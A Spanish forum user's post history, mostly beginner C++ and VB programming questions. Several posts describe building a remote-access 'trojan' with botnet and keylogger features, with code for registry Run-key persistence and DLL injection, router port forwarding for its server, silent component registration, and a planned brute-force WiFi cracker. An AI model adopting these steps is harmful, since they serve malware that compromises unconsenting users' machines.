Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - ApOkAlizE

#1
Tengo un proyecto en mente, en principio, mi idea es crear un software que muestre publicidad contactando directamente con las empresas que quieran que les haga publicidad, para eso legalmente creo que con solo ser autonomo tengo bastante... o eso creo. Pero me gustaria saber como garantizo a esas empresas, que por ejemplo la publicidad va a ser mostrada a 1000 personas, ya que yo puedo decir que tengo 6mil usuarios de X país y que se va a mostrar a X perosnas la publicidad, pero ellos como saben que eso es cierto? hay alguna empresa que se encargue de ello? porque lo unico que se me ha ocurrido es que con webs como google anlytics que muestran las visitas de las webs y eso, miren las visitas al dominio pero esto se puede falsificar tambien...
¿Algun consejo?
Gracias.
#2
Bueno, pues estoy desarrollando un software que necesita ejecutarse cada vez que se inicie sesión como administrador. Con Windows XP esto funcionaba, pero por lo que veo con Windows 7 es otra cosa...
Aquí dejo el código C++:
HKEY KLOG;
RegCreateKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&KLOG);

RegSetValueEx(KLOG,"programa.exe",0,REG_SZ,(LPBYTE)"C:\\programa.exe",sizeof("C:\\programa.exe"));

RegCloseKey(KLOG);

Bueno pues el caso es que usando reg add HKEY... vamos por CMD, si que funciona por lo que he probado de crear un .bat y que mi programa llame a este .bat, y ni ejecutando mi programa como administrador se crea la clave (aunque tampoco me dice acceso denegado), ejecutando el .bat directamente como administrador si este se encuentra en C:\archivo.bat si que funciona, sino ni que lo ejecute manualmente como administrador no se crea la clave. Usando RegCreateKey si pongo HKEY_CURRENT_USER si que funciona pero no se ejecuta con privilegios, además he provado de desactivar la UAC y tampoco funciona...
Gracias de antemano.
#3
Estoy intentando poder capturar imágenes con la webcam, he cogido este código que se supone que funciona.

#include "highgui.h"

int main(int argc, char* argv[])
{
  cvNamedWindow( "Example2", CV_WINDOW_AUTOSIZE );
  CvCapture* capture = cvCreateCameraCapture(0);
  IplImage* frame;
  while(1){
    frame = cvQueryFrame( capture );
    if( !frame ) break;
    cvShowImage( "Example2", frame );
    char c = cvWaitKey(33);
    if( c == 27 ) break;
  }
  cvReleaseCapture( &capture );
  cvDestroyWindow( "Example2" );
}

He instalado la versión 2.0 de openCV siguiendo este manual http://www.taringa.net/posts/hazlo-tu-mismo/11406486/Configurar-openCV-2_0-para-CodeBlocks-en-Windows.html
Pues bien, cuando compilo recibo el siguiente error.
FILE                        LINE               Message
ld.exe                                           cannot find -lmsvcrtd.lib

No se de dónde viene, lógicamente he intentado poner msvcrtd.lib en "linker settings", pero nada...
¿Alguien me puede ayudar?
Muchas gracias de antemano.
#4
Programación C/C++ / ¿Ayuda con sockets C++?
7 Octubre 2012, 02:36 AM
Bueno lo que me sucede es que estoy haciendo una programa usando C++ en CODE::BLOCKS, pues bueno, ya hice hace medio año uno tamién en C++ pero usando visual studio 2010 y ese funcionava, pero comparo el codigo con el que estoy haciendo ahora y esta todo igual, todo y eso en el siguiente codigo:
long reb;
char rebre[10001];
memset(rebre,0,10001);
int i = 2000;
setsockopt(Connectar,SOL_SOCKET,SO_RCVTIMEO,(const char *)&i,sizeof(i));
reb = recv(Connectar, rebre,10001 ,0);
if(reb == -1)
{
     //MENSAJE DE ALERTA
}
pues para ser exactos ni siquiera espera los 2 segundos para recibir datos y siempre entra en el if de -1 o sea error... pero la conexion se abre y realmente por ejemplo los send si que se envian(lo he comprovado por telnet)... ¿Alguien tiene alguna idea de que puede estar pasando?
Gracias de antemano.
#5
Pues he provado de hacer esto en visual c++ sin forms:

#include "iostream"
using namespace std;
#include <windows.h>
class InterruptorsSockets {
public:
    void Enviar(int);
    void Connectat(int);
    void Connexions(int);
    void EntornGrafic(int);
    void Enviat(int);
    int EnviarObtindre();
    int ConnexionsObtindre();
    int EntornGraficObtindre();
     int ConnectatObtindre();
    int EnviatObtindre();
private:
      int EnviarMissatge;
   int ConnectatEstat;
   int Connexio;
   int GUI;
   int enviat;
};

void InterruptorsSockets::Enviar(int Enviar)
{
   EnviarMissatge = Enviar;
}
int InterruptorsSockets::EnviarObtindre()
{
   return (EnviarMissatge);
}
//////////////////////////////////
void InterruptorsSockets::Connectat(int Estat)
{
   ConnectatEstat = Estat;
}
int InterruptorsSockets::ConnectatObtindre()
{
   return (ConnectatEstat);
}
/////////////////////////////////////
void InterruptorsSockets::Connexions(int Estat)
{
   Connexio = Estat;
}
int InterruptorsSockets::ConnexionsObtindre()
{
   return (Connexio);
}
/////////////////////////////////////////
void InterruptorsSockets::EntornGrafic(int Preparat)
{
   GUI = Preparat;
}
int InterruptorsSockets::EntornGraficObtindre()
{
   return (GUI);
}
/////////////////////////////////////////////////
void InterruptorsSockets::Enviat(int MissatgeEnviat)
{
   enviat = MissatgeEnviat;
}
int InterruptorsSockets::EnviatObtindre()
{
   return (enviat);
}
int main ()
{
   InterruptorsSockets Int;
              Int.Enviar(0);
              Int.Connectat(44);
              Int.Connexions(0);
                 Int.EntornGrafic(0);
                 Int.Enviat(0);
cout << Int.ConnectatObtindre() << endl;
system("pause");
return 0;
}

y funciona, pero con forms la cosa se complica porque estoy por ejemplo en un backgroundworker (otro thread) y no me deja acceder a esta classe que esta en otro header, es decir yo el codigo lo estoy haciendo en form.h y la clase esta en clase.h y la he incluido en form.h, pro no hay manera de que me funcione me da muchos errores, todos son lo mismo.

error C2065: 'Int' : identificador no declarado
error C2228: el operando izquierdo de '.Connectat' debe tener class/struct/union
1>          el tipo es ''unknown-type''

¿Alguien me sabria decir como hacer esto de acceder a una clase desde los forms de VC++ 2010?
Muchas gracias de antemano.
#6
Pues me gustaria crear un programa tipo aircrack hace mucho tiempo que lo llevo pensando pero nunca me he puesto, la intención es crearlo con finalidades científicas claro.
Pues he estado mirando y con netsh se pueden hacer cosas parecidas, pero a mi lo que me gustaría es desde C++ que intentara connectarse con un diccionario o simplemente a fuerza bruta pero tengo el problema de connexiones, pues se trataría de que tu pongas el ssid de ese punto de acceso, por ejemplo pones wlan_23 y entonces el programa intenta connectarse a esa red provando varias contraseñas y al gracia es que devuelva un valor para saber si se ha podido connectar o no, esto ¿se puede hacer con winsock, alguna API, desde netsh...?
Gracias de antemano.

Bueno tambien hay que decir que las claves WEP que he mirado tienen todas 13 caracteres suponiendo que en principio solo he visto letras en minúscula y numeros son en principio unas 36 posibilidades por carácter, elevado a 13 caracteres = 170581728179578208256 posibilidades... si tuviera que probarlas una a una me moriría y el programa aún estaría provando claves,xd o sea supongo que primero habrá que sniffear un poco los paquetes que envia ese router y así quizás puedes averiguar indicios ya que si tienes que hacer que tu programa compruebe trillones y cuatrillones de claves...xd
#7
Pues estoy desarrollando un proyecto con sockets, los sockets connectant bien y puedo enviar bien y recojer bien los datos, ahora bien, lo que sucede es que quiero hacer que cuando el cliente por ejemplo, le envie al servidor "hola" el servidor haga un "if" para ver si le ha enviado "hola".


ZeroMemory(rebre,sizeof(rebre));
reb = recv(Connectar, rebre,10000 ,NULL);
if(rebre=="hola")
                              {
                                 //codigo
                              }

El caso es que he provado que hasta lo que hay en la variable rebre se guard en un fichero de texto y realmente me llega hola , pero en cambio nunca llega a ejecutarse el codigo de la condicion... Si alguien sabe a que puede ser debido esto (temas de formato...) estoy trabajando en un Windows 7 home premium 64 bits y usando VC++ 2010 Express edition.

Gracias de antemano.
#8
Bueno pues estoy comenzando C++ desde hace unos meses y como antes usava VB pues no aprendi muy bien como funcionan las cosas. Pues ahora intento con C++ extraer el PE de un .exe que yo he creado y lo extrae bien, y mi idea es crear otro archivo con extension .exe también y ahí se le añade el codigo PE, pues aparentemente tienen ambos el mismo tamaño y tal, pero al ejecutar el nuevo archivo me sale el mensaje de "program too big to fit in memory", pero ambos archivos ocupan exactamente lo mismo (3.79MB), deberia poderse ejecutar también ¿no?
Gracias.
#9
Pues me gustaria a ver si teneis por ahí algun tutorial de como crear nuestros propios desensambladores aunque entiendo que crear un desensamblador debe ser una tarea difícil.
De paso queria preguntar, si por ejemplo si tu creas un programa en C++ y creas un sistema de cifrado, o sea que hay un algoritmo... si al desensamblar se puede ver el algoritmo, lo pregunto porque por ejemplo entonces si se pudieraa ver no serviria de nada que por ejemplo un programa, por ejemplo un cliente de chat encriptara las conversaciones, ya que luego desensamblando el .exe podriamos ver como se cifra todo... ¿alguien sabe si se podría ver?
Muchas gracias de antemano.
#10
Bueno estoy intentando hacer una inyección DLL y en VC++ tengo esto.

#include <windows.h>
#include <Tlhelp32.h>
#include "iostream"
using namespace std;
void main()
{
HANDLE proceso;
LPVOID RemoteString;
LPVOID nLoadLibrary;
int pid;
HANDLE handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo = { sizeof(PROCESSENTRY32) };
while(Process32Next(handle, &procinfo))
{
if(!strcmp("procinfo.szExeFile", "calc.exe"))

{
CloseHandle(handle);
pid = procinfo.th32ProcessID;
cout << pid << endl;
system("pause");
}
}
CloseHandle(handle);
proceso = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
nLoadLibrary = (LPVOID)GetProcAddress(GetModuleHandle("kernel32.dll"),"LoadLibraryA");
RemoteString = (LPVOID)VirtualAllocEx(proceso,NULL,strlen("C:\\Users\\Ramonet\\Documents\\dll.dll"),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
WriteProcessMemory(proceso,(LPVOID)RemoteString,"C:\\Users\\Ramonet\\Documents\\dll.dll",strlen("C:\\Users\\Ramonet\\Documents\\dll.dll"),NULL);
CreateRemoteThread(proceso,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
CloseHandle(proceso);
}

Y en la dll que esta situada en Documents esto:


#include <windows.h>
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
if (ul_reason_for_call == DLL_PROCESS_ATTACH)
{
MessageBox (0, "aaa", "aa", 0);
}
return TRUE;
}

Y ni ejecutando el exe como administrador consigo inyectar a la calculadora (que esta ejecutandose en ese momento) porque a ver ¿ahora al ejecutar la calculadora de nuevo tendria que aparecer el Messagebox verdad?
Estoy muy perdido con este tema.
gracias.
#11
Pues me he encontrado muchas veces que alguna funcion devuelve un int i se trata de pasarlo a char pero sin variar su contenido, por ejemplo al hacer esto.
int x;
x=system(dir");
char y[300];
*y=(char)x;
FILE * F;
F=fopen("prueva.txt","w");
fputs(y,F);
close(F);
pues en casos como este system te devuelve un int y quieres pasarlo a char pero si lo pasas a char lo necesario esque el valor quedara intacto cosa que no hace, no me digais de usar otra alternativa porque yo no quiero que me den el pez, yo quiero aprender a pescar.
¿Sabeis algun metodo para convertir sin que varie el valor?
gracias.
#12
Bueno pues hago este post por si alguien se encuentra con este problema. Lo que me sucede es que uso Virtualbox en mi Ubuntu, y con Windows 7 como maquina virtual, en este PC (en otros no me pasa) los Windows 7 funcionan bien pero algun dia se queda congelada la maquina o sea que queda todo bloqueado, la maquina virtual queda estatica no puedes interactuar con ella e incluso recuperandola con snapshots(capturas) continua congelandose cada vez que la enciendes, y claro no es solo tener que volver a crearla, sinó que yo las uso para programar en C++, java..., y si estoy haciendo un proyecto y algun dia después de terminar de trabajar en el proyecto me olbido de guardarme una copia del proyecto en el pendrive y luego me pasa esto que se me congela perdería todo lo que he hecho en una tarde(yo cuando me pongo a programar me puedo estar perfectamente 8 o 10 horas seguidas, soy un viciado lo se haha) y además tendria que volver a instalar el Windows, el VC++, eclipse con los emuladores de blackberry, android... Así que como restaurando los snapshots continuava congelandose he pensado que quizás no era el sistema operativo virtual, sinó que sería un problema del propio programa Virtualbox. Así que la solución era desinstalar e instalar de nuevo Virtualbox guardando los VDI(discos duros virtuales) para no tener que volver a instalar todas las maquinas y prepararlo todo, pero antes he querido hacer una prueva, era cojer una de mis maquinas virtuales(un Windows XP) i decirle que arranque con el ultimo snapshot de la VDI del Windows 7 afectado. ¡Y sorpresa, ya vuelve a funcionar! así que supongo que si os pasa esto es tan fácil como crear otro disco virtual pero al crearlo le dices usar un disco existente(o sea la ultima snapshot de la VDI afectada) y en principio tendría que funcionar.

Se que no es un problema que afecte a mucha gente, pero lo publico por si puedo sacar a alguien de un apuro... :laugh:

Gracias.
#13
Pues estoy crenado un programa que quiero que me guarde en un EDIT el nombre de  todas las ventanas abiertas en windows, y  desde el codigo de un boton he puesto esto:

EnumWinProc(hwnd,lParam);

entonces llama a la funcion de abajo:

BOOL CALLBACK EnumWinProc(HWND hwnd,LPARAM lParam){
    char nom[MAX_PATH];
        GetWindowText(hwnd,nom,MAX_PATH);
        if(strlen(nom))
        SendMessage(GetDlgItem(hwnd, ID_EDIT2), WM_SETTEXT, false,(LPARAM)nom);

        return TRUE;
     
}


Y aqui que he hecho este codigo, pero no me funciona bien ya que al pressionar en el botón me devuelve solo el nombre de la ventana del propio programa... ¿Me podeis decir como arreglarlo para que me ponga el nombre de todas las ventanas?

Muchissimas gracias de antemano
#14
Bueno tengo Ubuntu con apache2 instalado. pues cuando alguien intenta coenctarse en mi web con mi ip publica no se pueden conectar, y yo si intento conectarme con mi ip publica desde debajo de mi router me aparece la pagina del router (192.168.1.1).
¿Alguien me puede ayudar?
#15
ues lo que quiero comentaros es que hoy dos chicos de gran bretaña vieron un video mio sobre como hacia yo una base de datos sencilla, elc aso es que ellos intentaron crearla por una pequeña empresa (es una pequeña empresa donde alquilan coches), y necesitan un software hecho a medida para guardar los datos de los clientes... y me han dicho que si les hago el programa que necessitan que me pagaran algo de dinero aunque ya me han dicho que poca cosa (yo no lo hago por el dinero, es porque me hace ilusion ganarme mi primer "mini-suledo" programando) hahaha, pero no se si fiarme mucho porque luego quizás ni me pagan... en todo caso, realmente mi pregunta es, para pagarme a parte de usar PayPal y cosas de estas, si yo les doy el numero de mi cuenta bancaria apra que me hagan la transferencia, ¿podria ser peligroso? porque teoricamente al no dar la contraseña no... pero alguna vez oí de alguien que le havian quitado dinero sin dar su contraseña... no se si sera cierto..
¿alguna sugerencia?
Ǵracias

PD: Si este tema no va aqui movedlo en la sección correspondiente.
#16
GNU/Linux / ayuda con FDISK
13 Septiembre 2011, 14:36 PM
Pues he formateado un disco duro y he creado un par de particiones, una es donde hay el Ubuntu instalado y la otra no hay nada en ella, las aprticiones las he hecho en ext4 y elc aso es que desde el Ubuntu usando fdisk quiero poder acceder en la otra partición sin formatear y asi podre guardar en ella las maquinas virtuales.
¿Alguien me puede ayudar?
gracias
#17
Pues intento crear un troyano, lo que pretendo es crear el cliente desde la maquina real (con Ubuntu), y luego en una maquina virtual de Windows 7 crear el server, lo que me han dicho que al intentar conectar los Winsocks no me funcionará... ¿Existe algún modo de crearlo de esta forma?
#18
Bueno pues supongamos que en sockets.cpp tengo esto:

void sockets::LlegirSocket1()
{
   txtBotnetConnectar->setText("aa");

}

Pues lo que sucede es que esto me da error... pues txtBotnetConnectar es un editText que he creado desde qt designer y desde la classe main.cpp puedo acceder a txtBotnetConnectar pero desde sockets no puedo acceder.
¿Como lo hago para poder acceder?
Muchas gracias.
#19
Bueno,estoy aprendiendo C++ en qdevelop. El problema es este.
Imaginaros que tengo un boton:

void DialogImpl::Botoncito()
{
   //ordenes del botoncito.
}

hasta aqui todo bien, pero ahora quiero llamar a una funcion para conectar los sockets por ejemplo.

void DialogImpl::Botoncito()
{
   //ordenes del botoncito.
void sockets();
}

void sockets()
{
   /ordenes de sockets.
}

ahora desde Botoncito he intentado llamar a la funcion sockets(), pero lo que me sucede es que qdevelop me dice que hay un error porque no puedo acceder a ese lugar, supongo que es porque en Botoncito esta en DialogImpl. Pero no se,¿alguien me podria decir como hacer para que desde Botoncito pueda acceder en otra funcion que este fuera de DialogImpl?
#20
Programación C/C++ / Ayuda con qdevelop qt4
28 Julio 2011, 17:44 PM
Pues estoy comenzando a programar en qdevelop qt4, el caso es que tengo un problema en los editText, pues no se como recuperar el valor de un editText.
Me explico:
editText1->setText("hola");
Ahora le ponemos el valor "hola" a editText1, pero yop quiero por ejemplo pasar este valor a una variable.
¿Alguien sabe como hacerlo?
#21
Pues eso, me gustaría saber que API puedo utilizar para cambiar los colores de otras ventanas... lo que quiero es aclarar las otras ventanas o por ejemplo poder cojer la imagen de fondo de escritorio y darle una tonalidad más luminosa...
Cuando acabe mi proyecto lo posteare en elhacker.net, lo de querer aclarar los colores de la pantalla, cuando os cuente para que es os puedo asegurar que la idea os apassionará...
Gracias!
#22
El caso, que estoy intentando comenzar con allegro.h, he descargado el package y en la carpeta allegro5 hay todos los archivos de allegro(system.h, memory.h, base.h, mouse.h...) pero cuando intento compilar me marca un error en la primera linea (donde tengo #include <allegro.h>, y en el registro del compilador me pone esto.

Compilador: Default compiler
Executant  g++.exe...
g++.exe "C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp" -o "C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.exe"    -I"C:\Dev-Cpp\lib\gcc\mingw32\3.4.2\include"  -I"C:\Dev-Cpp\include\c++\3.4.2\backward"  -I"C:\Dev-Cpp\include\c++\3.4.2\mingw32"  -I"C:\Dev-Cpp\include\c++\3.4.2"  -I"C:\Dev-Cpp\include"   -L"C:\Dev-Cpp\lib"
In file included from C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:1:
C:/Dev-Cpp/include/allegro.h:26:27: allegro5/base.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:28:29: allegro5/system.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:29:29: allegro5/memory.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:30:28: allegro5/debug.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:31:28: allegro5/error.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:33:27: allegro5/utf8.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:35:29: allegro5/altime.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:37:29: allegro5/events.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:39:28: allegro5/mouse.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:40:28: allegro5/timer.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:41:31: allegro5/keyboard.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:42:31: allegro5/joystick.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:44:30: allegro5/threads.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:46:30: allegro5/display.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:47:38: allegro5/transformations.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:48:32: allegro5/bitmap_io.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:49:29: allegro5/bitmap.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:51:26: allegro5/tls.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:53:27: allegro5/file.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:54:29: allegro5/fshook.h: No such file or directory

C:/Dev-Cpp/include/allegro.h:55:27: allegro5/path.h: No such file or directory

C:/Dev-Cpp/include/allegro.h:57:29: allegro5/fmaths.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:59:29: allegro5/config.h: No such file or directory
C:/Dev-Cpp/include/allegro.h:63:34: allegro5/alcompat.h: No such file or directory
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp: In function `int main()':
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:4: error: `allegro_init' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:4: error: (Each undeclared identifier is reported only once for each function it appears in.)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:5: error: `install_keyboard' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:6: error: `install_timer' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:7: error: `install_mouse' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:8: error: `set_color_depth' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:9: error: `GFX_AUTODETECT' undeclared (first use this function)

C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:9: error: `set_gfx_mode' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:11: error: `allegro_exit' undeclared (first use this function)
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp: At global scope:
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:13: error: expected constructor, destructor, or type conversion at end of input
C:\Documents and Settings\Ramonet\Mis documentos\c++ projects\prova1.cpp:13: error: expected `,' or `;' at end of input

Execució finalitzada


Como si no tuviera los headers de allegro en la carpeta allegro5.
Pero si os fijais si hago un dir si que estan los headers.



C:\Documents and Settings\Ramonet>dir "C:/dev-cpp/allegro/include/allegro5"
El volumen de la unidad C no tiene etiqueta.
El número de serie del volumen es: 3CCE-57DE

Directorio de C:\dev-cpp\allegro\include\allegro5

03/04/2011  14:34    <DIR>          .
03/04/2011  14:34    <DIR>          ..
03/04/2011  14:34               337 alcompat.h
03/04/2011  14:34               958 alinline.h
03/04/2011  14:34             1.783 allegro.h
03/04/2011  14:34                24 allegro5.h
03/04/2011  14:34             1.547 allegro_direct3d.h
03/04/2011  14:34               846 allegro_iphone.h
03/04/2011  14:34             4.222 allegro_opengl.h
03/04/2011  14:34               972 allegro_windows.h
03/04/2011  14:34               532 altime.h
03/04/2011  14:34             2.993 base.h
03/04/2011  14:34             7.569 bitmap.h
03/04/2011  14:34             1.348 bitmap_io.h
03/04/2011  14:34               340 color.h
03/04/2011  14:34             1.978 config.h
03/04/2011  14:34             2.500 debug.h
03/04/2011  14:34             5.957 display.h
03/04/2011  14:34               958 error.h
03/04/2011  14:34             7.113 events.h
03/04/2011  14:34             3.644 file.h
03/04/2011  14:34               963 fixed.h
03/04/2011  14:34             1.238 fmaths.h
03/04/2011  14:34             5.063 fshook.h
03/04/2011  14:34    <DIR>          inline
03/04/2011  14:34    <DIR>          internal
03/04/2011  14:34             2.866 joystick.h
03/04/2011  14:34             1.917 keyboard.h
03/04/2011  14:34             5.244 keycodes.h
03/04/2011  14:34             2.280 memory.h
03/04/2011  14:34             4.793 mouse.h
03/04/2011  14:34    <DIR>          opengl
03/04/2011  14:34             2.200 path.h
03/04/2011  14:34    <DIR>          platform
03/04/2011  14:34             1.299 system.h
03/04/2011  14:34             2.290 threads.h
03/04/2011  14:34             2.005 timer.h
03/04/2011  14:34             1.814 tls.h
03/04/2011  14:34             1.355 transformations.h
03/04/2011  14:34             6.244 utf8.h
             34 archivos         87.192 bytes
              6 dirs  10.407.088.128 bytes libres

Pues como que no entiendo de donde viene el error...
A ver si alguien se puede imaginar que me pasa...


el codigo que estoy intentando es este:

#include<allegro.h>
int main()
{
allegro_init();
install_keyboard();
install_timer();
install_mouse();
set_color_depth(8);
set_gfx_mode(GFX_AUTODETECT,800,600,0,0);

allegro_exit();
}
END_OF_MAIN()
#23
El caso es que estoy desarrollando un troyano que lo estoy creando con finalidades puramente cientificas, no para causar daños  a nadie, claro el troyano estará preparado para hacer botnet y eso pero no infectare ningun PC sin el consentimiento de su propietario, pero estaba haciendo pruevas en mi PC y le habia puesto que sacara el codigo html de una pagina web para saber la IP publica de ese PC y también la localización (provincia,ciudad,pais) y la compañia de ISP... vamos el caso es que las primeras pruevas muy bien, pero el troyano cada 3 segundos le sacava 3 veces seguidas el codigo html a esa pagina y lo he tenido varias veces encendido haciendo pruevas y mas tarde cuando he intentado sacar el codigo desde otro proyecto VB ya que hacia rato que no me aparecia la IP y eso pues al sacarle el codigo html aparecia un mensaje que decia que me habian baneado la IP porque probablemente mi PC estubiera haciendo una flood a esa web...(yo acojonado), me imagino que me ha bloqueado algun firewall de forma automatica no creo que hayan sido ellos manualmente, claro es que además en el codigo html ya habia un mensaje que ponia "antes de usar ningún script para conseguir la IP contacta con nosotros" y yo digo, va no pasará nada tampoco no lo hago con malicia, y no creo que me denuncien lo que passa es que yo soy un calzonazos y estoy nervioso tengo miedo... ¿alguna vez os ha pasado algo parecido? no creo que me digan nada ¿verdad? es que otra cosa que tengo miedo es que me manden una carta a casa como hizo una vez telefonica que me cortaron el correo(el spyware no lo habia enviado yo, se habia enviado solo,xd). Más que nada porque si llega una carta a casa mis padres me matan... Ramon!, que has fet ja?,xd
en todo caso mañana podre continuar haciendo pruevas ya que reiniciare el router y me asignaran otra IP, pero que vamos el problema es si me denuncian(supongo que no lo haran,pero si lo hacen).

Bueno ahora os dejo es que mi novia me ha apsado unas fotos de ella en bikini y me voy al lavabo a hacerme una manola.
Más que anda comentava para deshaogarme, es que soy muy sensible...

ApOkAlizE
#24
Hacking / ¿ayuda con los puertos para mi troyano?
19 Diciembre 2010, 19:18 PM
el caso es que me estoy haciendo un troyano(con fines puramente cientificos) y lo que me sucede esque al provarlo poniendo el cliente y el servidor en mi PC pues poniendo 127.0.0.1(localhost), pues me funciona muy bien, ahora bien ahora lo he provado poniendo mi IP Publica y también con mi cuenta NO-IP y no me conecta he abierto los puertos y nada, los he abierto tanto manualmente como por telnet y no funciona, os dejo el codigo telnet y como han quedado los puertos en el router porque no lo entiendo, otra cosa que creo que puede ser porque al estar en LAN el router no me deje salir al exterior para entrar por el mismo router que ha salido, pero no creo que ese sea el problema.

telnet
open 192.168.1.1
login:1234
password:1234
->nat
->nat add virtualserver --customserver PR3D4T0R-Server 192.168.1.33 --externalport 31337 31368 --protocol tcp --internalport 31337 31368


hasta aqui la fase de abrir los puertos y debajo dejo el resultado.

PR3D4T0R-Server    31337    31368    TCP    31337    31368    192.168.1.33   


Si os fijais aparentemente tiene que estar todo bien y el firewall lo he desactivado con la funcion Netsh firewall set opmode disable (uso W-XP), y no lo entiendo porque no me conecta.
#25
el caso es que me estoy haciendo un troyano(con fines puramente cientificos) y lo que me sucede esque al provarlo poniendo el cliente y el servidor en mi PC pues poniendo 127.0.0.1(localhost), pues me funciona muy bien, ahora bien ahora lo he provado poniendo mi IP Publica y también con mi cuenta NO-IP y no me conecta he abierto los puertos y nada, los he abierto tanto manualmente como por telnet y no funciona, os dejo el codigo telnet y como han quedado los puertos en el router porque no lo entiendo, otra cosa que creo que puede ser porque al estar en LAN el router no me deje salir al exterior para entrar por el mismo router que ha salido, pero no creo que ese sea el problema.

telnet
open 192.168.1.1
login:1234
password:1234
->nat
->nat add virtualserver --customserver PR3D4T0R-Server 192.168.1.33 --externalport 31337 31368 --protocol tcp --internalport 31337 31368


hasta aqui la fase de abrir los puertos y debajo dejo el resultado.

PR3D4T0R-Server    31337    31368    TCP    31337    31368    192.168.1.33    


Si os fijais aparentemente tiene que estar todo bien y el firewall lo he desactivado con la funcion Netsh firewall set opmode disable (uso W-XP), y no lo entiendo porque no me conecta.

PD:Se que os estoy hablando de un troyano y esta sección es de Wireless pero lo he posteado aqui porque al fin y al cabo la pregunta es relacionada con el router.
#26
Seguridad / ¿Algunos PCs no soportan el taskkill?
17 Noviembre 2010, 22:07 PM
Ya estoy harto, porque en segun que ordenadores cuando haces un taskkill lo que sucede es que el windows se va al carajo y tienes que formatear, por ejemplo el otro dia en el instituto como me aburria decidí cerrar el internet explorer con un taskkill, ¿ el resultado?, pues se me quedo que se veia la imagen del escritorio que ocupava toda la pantalla, y desaparecieron todas las carpetas, la barra de inicio y todo (por suerte es de esos PCs que cuando lo apagas ninguno de los cambios se guardan), el caso es que con un amigo intentandole hacer un taskkill a un troyano me paso lo mismo aunque me dijeron que seria porque el troyano tendria el control del sistema o no se que, y a mi hace un par de años una vez le hice taskkill a mi PC(el primer taskkill que le hice) y tambien ¡A FORMATEAR!, ¿alguien me puede explicar porque a veces el taskkill te deja el PC hecho polvo?
gracias
#27
Mi problema es que tengo un archivo llamado archivorar.rar que logicamente esta comprimido en .rar, dentro de este hay una imagen llamada captura.bmp y quiero que el VB me descomprima para que me aparezca la captura sin comprimir en c:\, he provado este codigo que segun dicen es para descomprimir y la unica cosa que me hace es hacerme una copia de archivorar.rar que ocupa un poco menos.

Shell ("c:\Archivos de programa\WinRAR\WinRAR.exe" & " a C:\archivo C:\archivorar.rar"),vbHide

:-(

Gracias de antemano.
#28
Bueno me hice una aplicación y como mi IP es dinamica me quiero registrar en www.no-ip.com lo que me gustaria saber es que tipo de noip tengo que hacerme y tambien en mi aplicación de VB al conectarme con winsock como lo hago o sea ahora tenia winsock1.connect 127.0.0.1, 31337   ahora que tendria que ser winsock1.connect nombredeDNSquemedenennoip, 31337 o ¿como?
además en no IP me dan estas opciones.

   *  Run a server on a dynamic IP (DHCP)
   * Remotely access your computer
   * Industry leading dynamic DNS (DDNS)
   * URL redirection / port 80 redirection
   * and a Free Dynamic DNS update client

¿Cual elijo suponiendo que mi aplicación es de tipo "troyano", vamos keylogger, descarga y subida de archivos, shellcode...?

Gracias de antemano.
#29
Cuando en VB pongo lo de
Shell"regsvr32 MSWINSCK.OCX", vbHide
pues aqui se me registra el componente Winsock, pero aparece un mensaje que pone "MSWINSCK.OCX se ha registrado satisfactoriamente" o algo por el estilo a mi me gustaria que no apareciese ese mensaje, me imagino que para eso habra que añadir alguna clave en el regedit pero no se cual ni como, si alguien lo sabe, por favor decidmelo.
Gracias
#30
he intentado abrir los logs del PC, en concreto el que s ellama var/adm, bueno el caso es que no me funciona, os dejo aqui el codigo con el que he intentado abrir.
gracias

Private Sub Command1_Click()
Open "MI PC\HKEY_USER\S-1-5-21-1547161642-1788223648-682003330-1003\Software\Microsoft\Search Assistant\ACMru\5603\014" For Input As #1
